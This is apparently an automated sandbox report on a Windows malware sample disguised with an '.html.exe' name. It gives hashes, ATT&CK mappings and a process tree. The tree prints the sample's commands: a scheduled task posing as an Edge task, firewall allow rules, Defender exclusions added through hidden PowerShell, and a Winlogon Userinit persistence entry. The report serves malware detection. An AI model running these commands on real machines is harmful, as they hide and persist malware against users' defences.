92988b46aaa066d1128e2c8a66f7a27e34933d060b380cee1b90a2a4cd257b34

Resubmissions

09/08/2026, 03:01

260809-dh7sassybt10

09/08/2026, 02:56

260809-dfbxvage3210

Analysis

user interaction
yes
max time kernel
149s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
09/08/2026, 02:56

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
pgerpgpellpgelpawre.html.exe
Size 293KB
Sample260809-dfbxvage32
SHA256 92988b46aaa066d1128e2c8a66f7a27e34933d060b380cee1b90a2a4cd257b34
MD5 390edde360e812acc201a23e4dc50848
SHA1 7c50daaf602f3b14af452b9fa7adf437ae214d85
SHA512 99b17f2d2700cc85a58d52d0e7b13c97abfa89bb329d4ccc3d6807cd44faccfcbaa81dd84fc66c35c09e912635abbfcfdf724b8fc8bd4d44cfbb3fc9d8239d2e
SSDEEP 6144:1jDu59hIhCGa+7Y8qlknFBdvJHwLhKl+Mvg:lDO+CGa+7Y8qlknF2NKlPvg
TLSH
T111544A6542E7CE21EBCD0739E4528602E7FA4046A7C5F74B204445E5DE0BBDAEE03A7B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion execution persistence privilege_escalation

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\System32\\userinit.exe,C:\\Users\\Admin\\Music\\$pwnWindowsHealth.exe"	pgerpgpellpgelpawre.html.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1904	powershell.exe
1904	powershell.exe

Modifies Windows Firewall 2 TTPs 3 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2568	netsh.exe
4740	netsh.exe
2528	netsh.exe

Executes dropped EXE 3 IoCs

pid	Process
2256	Process not Found
5684	$pwnWindowsHealth.exe
1800	$pwnWindowsHealth.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2556	cmd.exe
1288	cmd.exe
3636	cmd.exe
4284	cmd.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
2548	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5132	schtasks.exe

Suspicious behavior: EnumeratesProcesses 35 IoCs

pid	Process
4296	pgerpgpellpgelpawre.html.exe
4296	pgerpgpellpgelpawre.html.exe
4296	pgerpgpellpgelpawre.html.exe
4296	pgerpgpellpgelpawre.html.exe
4296	pgerpgpellpgelpawre.html.exe
4296	pgerpgpellpgelpawre.html.exe
4296	pgerpgpellpgelpawre.html.exe
4296	pgerpgpellpgelpawre.html.exe
4296	pgerpgpellpgelpawre.html.exe
4296	pgerpgpellpgelpawre.html.exe
4296	pgerpgpellpgelpawre.html.exe
4296	pgerpgpellpgelpawre.html.exe
4296	pgerpgpellpgelpawre.html.exe
4296	pgerpgpellpgelpawre.html.exe
4296	pgerpgpellpgelpawre.html.exe
4296	pgerpgpellpgelpawre.html.exe
4296	pgerpgpellpgelpawre.html.exe
4296	pgerpgpellpgelpawre.html.exe
4296	pgerpgpellpgelpawre.html.exe
4296	pgerpgpellpgelpawre.html.exe
4296	pgerpgpellpgelpawre.html.exe
4296	pgerpgpellpgelpawre.html.exe
4296	pgerpgpellpgelpawre.html.exe
4296	pgerpgpellpgelpawre.html.exe
4296	pgerpgpellpgelpawre.html.exe
4296	pgerpgpellpgelpawre.html.exe
4296	pgerpgpellpgelpawre.html.exe
4296	pgerpgpellpgelpawre.html.exe
4296	pgerpgpellpgelpawre.html.exe
4296	pgerpgpellpgelpawre.html.exe
4296	pgerpgpellpgelpawre.html.exe
4296	pgerpgpellpgelpawre.html.exe
4296	pgerpgpellpgelpawre.html.exe
1904	powershell.exe
1904	powershell.exe

Suspicious use of AdjustPrivilegeToken 53 IoCs

description	pid	Process
Token: SeDebugPrivilege	4296	pgerpgpellpgelpawre.html.exe
Token: SeIncBasePriorityPrivilege	4296	pgerpgpellpgelpawre.html.exe
Token: SeShutdownPrivilege	2256	Process not Found
Token: SeCreatePagefilePrivilege	2256	Process not Found
Token: SeShutdownPrivilege	2256	Process not Found
Token: SeCreatePagefilePrivilege	2256	Process not Found
Token: SeShutdownPrivilege	2256	Process not Found
Token: SeCreatePagefilePrivilege	2256	Process not Found
Token: SeDebugPrivilege	1904	powershell.exe
Token: SeShutdownPrivilege	2256	Process not Found
Token: SeCreatePagefilePrivilege	2256	Process not Found
Token: SeIncreaseQuotaPrivilege	1904	powershell.exe
Token: SeSecurityPrivilege	1904	powershell.exe
Token: SeTakeOwnershipPrivilege	1904	powershell.exe
Token: SeLoadDriverPrivilege	1904	powershell.exe
Token: SeSystemProfilePrivilege	1904	powershell.exe
Token: SeSystemtimePrivilege	1904	powershell.exe
Token: SeProfSingleProcessPrivilege	1904	powershell.exe
Token: SeIncBasePriorityPrivilege	1904	powershell.exe
Token: SeCreatePagefilePrivilege	1904	powershell.exe
Token: SeBackupPrivilege	1904	powershell.exe
Token: SeRestorePrivilege	1904	powershell.exe
Token: SeShutdownPrivilege	1904	powershell.exe
Token: SeDebugPrivilege	1904	powershell.exe
Token: SeSystemEnvironmentPrivilege	1904	powershell.exe
Token: SeRemoteShutdownPrivilege	1904	powershell.exe
Token: SeUndockPrivilege	1904	powershell.exe
Token: SeManageVolumePrivilege	1904	powershell.exe
Token: 33	1904	powershell.exe
Token: 34	1904	powershell.exe
Token: 35	1904	powershell.exe
Token: 36	1904	powershell.exe
Token: SeIncreaseQuotaPrivilege	1904	powershell.exe
Token: SeSecurityPrivilege	1904	powershell.exe
Token: SeTakeOwnershipPrivilege	1904	powershell.exe
Token: SeLoadDriverPrivilege	1904	powershell.exe
Token: SeSystemProfilePrivilege	1904	powershell.exe
Token: SeSystemtimePrivilege	1904	powershell.exe
Token: SeProfSingleProcessPrivilege	1904	powershell.exe
Token: SeIncBasePriorityPrivilege	1904	powershell.exe
Token: SeCreatePagefilePrivilege	1904	powershell.exe
Token: SeBackupPrivilege	1904	powershell.exe
Token: SeRestorePrivilege	1904	powershell.exe
Token: SeShutdownPrivilege	1904	powershell.exe
Token: SeDebugPrivilege	1904	powershell.exe
Token: SeSystemEnvironmentPrivilege	1904	powershell.exe
Token: SeRemoteShutdownPrivilege	1904	powershell.exe
Token: SeUndockPrivilege	1904	powershell.exe
Token: SeManageVolumePrivilege	1904	powershell.exe
Token: 33	1904	powershell.exe
Token: 34	1904	powershell.exe
Token: 35	1904	powershell.exe
Token: 36	1904	powershell.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 4296 wrote to memory of 2556	4296	pgerpgpellpgelpawre.html.exe	89
PID 2556 wrote to memory of 5476	2556	cmd.exe	91
PID 4296 wrote to memory of 1288	4296	pgerpgpellpgelpawre.html.exe	92
PID 1288 wrote to memory of 5132	1288	cmd.exe	94
PID 4296 wrote to memory of 3636	4296	pgerpgpellpgelpawre.html.exe	95
PID 3636 wrote to memory of 2568	3636	cmd.exe	97
PID 2256 wrote to memory of 120	2256	Process not Found
PID 3636 wrote to memory of 4740	3636	cmd.exe	99
PID 3636 wrote to memory of 2528	3636	cmd.exe	100
PID 4296 wrote to memory of 1904	4296	pgerpgpellpgelpawre.html.exe	101
PID 4296 wrote to memory of 4284	4296	pgerpgpellpgelpawre.html.exe	104
PID 4284 wrote to memory of 2548	4284	cmd.exe	106
PID 4284 wrote to memory of 5684	4284	cmd.exe	107

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\pgerpgpellpgelpawre.html.exe
"C:\Users\Admin\AppData\Local\Temp\pgerpgpellpgelpawre.html.exe"
1⤵
- Modifies WinLogon for persistence
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4296
- C:\Windows\SYSTEM32\cmd.exe
  "cmd" /c schtasks /delete /f /tn "MicrosoftEdgeAutoLaunch_1EA45B2FADC13BCADCIO31DAHAA65F5673C1431E" & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2556
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /f /tn "MicrosoftEdgeAutoLaunch_1EA45B2FADC13BCADCIO31DAHAA65F5673C1431E"
    3⤵
    PID:5476
- C:\Windows\SYSTEM32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /rl highest /tn "MicrosoftEdgeAutoLaunch_1EA45B2FADC13BCADCIO31DAHAA65F5673C1431E" /tr "\"C:\Users\Admin\Music\$pwnWindowsHealth.exe\"" & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1288
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /rl highest /tn "MicrosoftEdgeAutoLaunch_1EA45B2FADC13BCADCIO31DAHAA65F5673C1431E" /tr "\"C:\Users\Admin\Music\$pwnWindowsHealth.exe\""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5132
- C:\Windows\SYSTEM32\cmd.exe
  "cmd" /c netsh advfirewall firewall delete rule name="Windows Control" & netsh advfirewall firewall add rule name="Windows Control" dir=in action=allow program="C:\Users\Admin\Music\$pwnWindowsHealth.exe" enable=yes & netsh advfirewall firewall add rule name="Windows Control_out" dir=out action=allow program="C:\Users\Admin\Music\$pwnWindowsHealth.exe" enable=yes & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3636
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall delete rule name="Windows Control"
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:2568
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="Windows Control" dir=in action=allow program="C:\Users\Admin\Music\$pwnWindowsHealth.exe" enable=yes
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:4740
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="Windows Control_out" dir=out action=allow program="C:\Users\Admin\Music\$pwnWindowsHealth.exe" enable=yes
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:2528
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath "C:\Users\Admin\Music" -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\pgerpgpellpgelpawre.html.exe" -ErrorAction SilentlyContinue; "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1904
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp7EFA.tmp.bat""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4284
- - C:\Windows\system32\timeout.exe
    timeout 3
    3⤵
    - Delays execution with timeout.exe
    PID:2548
- - C:\Users\Admin\Music\$pwnWindowsHealth.exe
    "C:\Users\Admin\Music\$pwnWindowsHealth.exe"
    3⤵
    - Executes dropped EXE
    PID:5684

C:\Users\Admin\Music\$pwnWindowsHealth.exe
"C:\Users\Admin\Music\$pwnWindowsHealth.exe"
1⤵
PID:4856

C:\Users\Admin\Music\$pwnWindowsHealth.exe
"C:\Users\Admin\Music\$pwnWindowsHealth.exe"
1⤵
- Executes dropped EXE
PID:1800

C:\Users\Admin\Music\$pwnWindowsHealth.exe
"C:\Users\Admin\Music\$pwnWindowsHealth.exe"
1⤵
PID:1564

C:\Users\Admin\Music\$pwnWindowsHealth.exe
"C:\Users\Admin\Music\$pwnWindowsHealth.exe"
1⤵
PID:2332

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

pwn.dll

Path C:\Users\Admin\AppData\Local\Temp\pwn.dll
Size 13KB
SHA256 034ba1de657750175614a6670f006f5bb4ebce820315b4c8cfe2976bbe9d2ba1
MD5 083fbf5c10380b49171d55f6096ee05a
SHA1 d58ac48b772e476843fe98cc7403d6f312a5d94a
SHA512 a632824d6ff0e29bd6ed71ee6c88fb1d92d4783c498fa011f20dddb949fe0c600c824e111b5460bf135fa62649428ef108fa09253d8d807f76bffc6db4b1302d
SSDEEP 192:V0hbd0XezCMrLti3Y9krHtsP8KwmdkVMVwCgTA8R:ihp0X8txLGW7Vw4
TLSH
T1CB520A8AFB0954E9C97F40F9C8775E1AE2F9B410472267AF072052590EF23D2B17EB91
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tmp7EFA.tmp.bat

Path C:\Users\Admin\AppData\Local\Temp\tmp7EFA.tmp.bat
Size 151B
SHA256 9aa06e561bce5d261dc1ecd65fac2849661a17aa251cb56ed4156eef2773d22e
MD5 a74f3e56764df011a14de2e7a8a022a0
SHA1 ffacf0cbe72cc60d334131223255f74f5091a245
SHA512 9d601c7218a6f42ac72d286acfe38a78e612cf8f849cfdbb27a6438b9c53b7c701d0a5ae8af74a5397771a1924248c539953ff6874edadfe08af75aa84dde440
TLSH
T16AC02B836DD5E96B2E04642312BEE6DD917B6D3A3F41F7808344418A7540C5FE8EA3C2
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1904-34-0x000001DEB3430000-0x000001DEB3446000-memory.dmp

Download

memory/1904-32-0x000001DECBB30000-0x000001DECBB3A000-memory.dmp

Download

memory/1904-31-0x000001DECBDB0000-0x000001DECBE62000-memory.dmp

Download

memory/1904-30-0x000001DECBD90000-0x000001DECBDAE000-memory.dmp

Download

memory/1904-27-0x000001DECBAB0000-0x000001DECBAD2000-memory.dmp

Download

memory/2256-24-0x0000000003BF0000-0x0000000003BF1000-memory.dmp

Download

memory/4296-6-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp

Download

memory/4296-7-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp

Download

memory/4296-10-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp

Download

memory/4296-11-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp

Download

memory/4296-12-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp

Download

memory/4296-13-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp

Download

memory/4296-14-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp

Download

memory/4296-18-0x00000152F7D60000-0x00000152F7D6A000-memory.dmp

Download

memory/4296-8-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp

Download

memory/4296-9-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp

Download

memory/4296-1-0x00007FFFFEAEF000-0x00007FFFFEAF0000-memory.dmp

Download

memory/4296-5-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp

Download

memory/4296-4-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp

Download

memory/4296-3-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp

Download

memory/4296-36-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp

Download

memory/4296-2-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp

Download

memory/4296-0-0x00000152F78B0000-0x00000152F7900000-memory.dmp

Download